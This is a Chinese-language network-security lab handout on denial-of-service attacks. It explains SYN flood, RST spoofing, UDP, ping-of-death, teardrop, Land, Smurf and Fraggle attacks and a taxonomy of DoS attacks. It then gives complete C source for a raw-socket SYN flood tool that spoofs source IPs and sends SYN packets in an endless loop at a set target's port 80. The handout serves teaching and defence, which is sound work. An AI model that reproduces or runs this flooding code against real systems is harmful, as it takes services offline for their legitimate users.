拒绝服务攻击

拒绝服务攻击实验目的：掌握拒绝服务攻击的原理以及过程。掌握攻击原理后思考如何防范。实验环境： PC终端两台，拒绝服务攻击软件一个。实验原理：拒绝服务攻击即攻击者想办法让目标机器停止提供服务或资源访问，是黑客常用的攻击手段之一。这些资源包括磁盘空间、内存、进程甚至网络带宽，从而阻止正常用户的访问。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分，只要能够对目标造成麻烦，使某些服务被暂停甚至主机死机，都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决，究其原因是因为这是由于网络协议本身的安全缺...

实验目的：掌握拒绝服务攻击的原理以及过程。掌握攻击原理后思考如何防范。实验环境： PC终端两台，拒绝服务攻击软件一个。实验原理：拒绝服务攻击即攻击者想办法让目标机器停止提供服务或资源访问，是黑客常用的攻击手段之一。这些资源包括磁盘空间、内存、进程甚至网络带宽，从而阻止正常用户的访问。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分，只要能够对目标造成麻烦，使某些服务被暂停甚至主机死机，都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决，究其原因是因为这是由于网络协议本身的安全缺陷造成的，从而拒绝服务攻击也成为了攻击者的终极手法。攻击者进行拒绝服务攻击，实际上让服务器实现两种效果：一是迫使服务器的缓冲区满，不接收新的请求；二是使用IP欺骗，迫使服务器把合法用户的连接复位，影响合法用户的连接。　　拒绝服务攻击的原理　　1．SYN Flood 　　SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(Distributed Denial Of Service分布式拒绝服务攻击)的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。　　具体原理是：TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成)，这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级(大约为30秒~2分钟)；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况(伪造IP地址)，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃—— 即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小)，此时从正常客户的角度看来，服务器失去响应，这种情况就称作：服务器端受到了SYN Flood攻击(SYN洪水攻击)。　　2．IP欺骗DOS攻击　　这种攻击利用RST位来实现。假设现在有一个合法用户(61.61.61.61)已经同服务器建立了正常的连接，攻击者构造攻击的TCP数据，伪装自己的IP为61.61.61.61，并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后，认为从61.61.61.61发送的连接有错误，就会清空缓冲区中建立好的连接。这时，如果合法用户61.61.61.61再发送合法数据，服务器就已经没有这样的连接了，该用户就必须从新开始建立连接。攻击时，攻击者会伪造大量的IP地址，向目标发送RST数据，使服务器不对合法用户服务，从而实现了对受害服务器的拒绝服务攻击。　　3. UDP洪水攻击　　攻击者利用简单的TCP/IP服务，如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接，回复地址指向开着Echo服务的一台主机，这样就生成在两台主机之间存在很多的无用数据流，这些无用数据流就会导致带宽的服务攻击。　　4. Ping洪流攻击　　由于在早期的阶段，路由器对包的最大尺寸都有限制。许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB，并且在对包的标题头进行读取之后，要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的，声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时，就会出现内存分配错误，导致TCP/IP堆栈崩溃，致使接受方死机。　　5. 泪滴(teardrop)攻击　　泪滴攻击是利用在TCP/IP堆栈中实现信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指明该分段所包含的是原包的哪一段的信息，某些TCP/IP(包括service pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。　　6. Land攻击　　Land攻击原理是：用一个特别打造的SYN包，它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息，结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留，直到超时，对Land攻击反应不同，许多UNIX实现将崩溃，NT变的极其缓慢(大约持续5分钟)。　　7. Smurf攻击　　一个简单的Smurf攻击原理就是：通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对此ICMP应答请求作出答复，导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方崩溃。　　8.Fraggle攻击　　原理：Fraggle攻击实际上就是对Smurf攻击作了简单的修改，使用的是UDP应答消息而非ICMP。　　拒绝服务攻击的属性分类法　　J.Mirkovic和P. Reiher [Mirkovic04]提出了拒绝服务攻击的属性分类法，即将攻击属性分为攻击静态属性、攻击动态属性和攻击交互属性三类，根据DoS攻击的这些属性的不同，就可以对攻击进行详细的分类。凡是在攻击开始前就已经确定，在一次连续的攻击中通常不会再发生改变的属性，称为攻击静态属性。攻击静态属性是由攻击者和攻击本身所确定的，是攻击基本的属性。那些在攻击过程中可以进行动态改变的属性，如攻击的目标选取、时间选择、使用源地址的方式，称为攻击动态属性。而那些不仅与攻击者相关而且与具体受害者的配置、检测与服务能力也有关系的属性，称为攻击交互属性。实验步骤：抄写下列代码，了解拒绝服务攻击的原理。 #include #include #include #include #pragma comment (lib,"ws2_32.lib") #define SEQ 0x28376839 #define SYN_DEST_IP "192.168.1.101"//被攻击的IP #define FAKE_IP "122.168.13.2" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段 #define STATUS_FAILED 0xFFFF //错误返回值 typedef struct _iphdr { unsigned char h_verlen; //4位首部长度+4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议号(TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER; typedef struct _tcphdr { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度+6位保留字中的4位 unsigned char th_flag; //2位保留字+6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 }TCP_HEADER; typedef struct _psdhdr { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT);} if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } int main() { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]={0}; char RecvBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; PSD_HEADER psd_header; //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET){ fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR){ fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节） ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…) ip_header.checksum=0; //16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000); //源端口号 tcp_header.th_dport=htons(80); //目的端口号 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和 //填充TCP伪首部（用于计算校验和，并不真正发送） psd_header.saddr=ip_header.sourceIP; //源地址 psd_header.daddr=ip_header.destIP; //目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP; //协议类型 psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度 while(1) { //每发送10,240个报文输出一个标示符 printf("."); for(counter=0;counter<10240;counter++){ if(SendSEQ++==65536) SendSEQ=1; //序列号循环 //更改IP首部 ip_header.checksum=0; //16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 //更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 tcp_header.th_sum=0; //校验和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //计算TCP校验和，计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //计算IP校验和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //发送TCP报文 ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr)); //send(SockRaw,SendBuf,datasize,0); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); }//End of for }//End of While }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; }

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